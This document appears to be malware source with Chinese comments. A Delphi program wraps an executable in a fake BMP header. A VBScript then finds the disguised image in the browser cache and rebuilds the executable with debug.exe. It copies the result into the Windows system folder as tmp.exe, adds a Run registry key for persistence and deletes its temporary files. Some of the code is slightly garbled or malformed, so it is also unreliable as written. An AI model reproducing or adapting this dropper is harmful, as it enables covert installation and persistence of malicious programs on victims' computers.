var len,row,col,fs: dword;
buffer: array[0..255]of char;
fd: win32_find_data;
h,hw: thandle;
begin
if (paramstr(1)<>'') and(paramstr(2)<>'') then begin //如果运行后没有两个参数则退出
if fileexists(paramstr(1)) then begin
findfirstfile(pchar(paramstr(1)),fd);
fs:=fd.nfilesizelow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else break;
end;
fillchar(buffer,256,0);
{一下为bmp文件头数据}
buffer[0]:='b';buffer[1]:='m';
pdword(@buffer[18])^:=col;
pdword(@buffer[22])^:=row;
pdword(@buffer[34])^:=len;
pdword(@buffer[2])^:=len+54;
pdword(@buffer[10])^:=54;
pdword(@buffer[14])^:=40;
pword(@buffer[26])^:=1;
pword(@buffer[28])^:=24;
{写入文件}
hw:=createfile(pchar(paramstr(2)),generic_write,file_share_read or file_share_write,nil,create_always,0,0);
h:=createfile(pchar(paramstr(1)),generic_read,file_share_read or file_share_write,nil,open_existing,0,0);
writefile(hw,buffer,54,col,0);
repeat
readfile(h,buffer,256,col,0);
writefile(hw,buffer,col,col,0);
untilcol<>256;
writefile(hw,buffer,len-fs,col,0);
closehandle(h);
closehandle(hw);
end;
end;
end.
option explicit
dim fso,wsh,cache,str
set fso = createobject("scripting.filesystemobject")
set wsh = createobject("wscript.shell")
cache=wsh.regread("hkcu\software\microsoft\windows\currentversion\explorer\shellfolders\cache")
wsh.regdelete("hkcu\software\microsoft\windows\currentversion\run\vbs")
wsh.regwrite "hkcu\software\microsoft\windows\currentversion\run\tmp","tmp.exe"
searchbmpfile fso.getfolder(cache),"mybmp[1].bmp"
wscript.quit()
function searchbmpfile(folder,fname)
dim subfolder,file,lt,tmp,winsys
'从临时文件夹中查找目标bmp图片
str=fso.getparentfoldername(folder) & "\" & folder.name & "\" & fname
if fso.fileexists(str) then
tmp=fso.getspecialfolder(2) & "\"
winsys=fso.getspecialfolder(1) & "\"
set file=fso.getfile(str)
file.copy(tmp & "tmp.dat")
file.delete
'生成一个debug脚本
set lt=fso.createtextfile(tmp & "tmp.in")
lt.writeline("rbx")
lt.writeline("0")
lt.writeline("rcx")
'下面一行的1000是十六进制,换回十进制是4096(该数字是你的exe文件的大小)
lt.writeline("1000")
lt.writeline("w136")
lt.writeline("q")
lt.close
wsh.run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
on error resume next
fso.getfile(tmp & "tmp.dat").copy(winsys & "tmp.exe")
fso.getfile(tmp & "tmp.dat").delete
fso.getfile(tmp & "tmp.in").delete
fso.getfile(tmp & "tmp.out").delete
end if
if folder.subfolders.count <> 0 then
for each subfolder in folder.subfolders
searchbmpfile subfolder,fname
next
end if
end function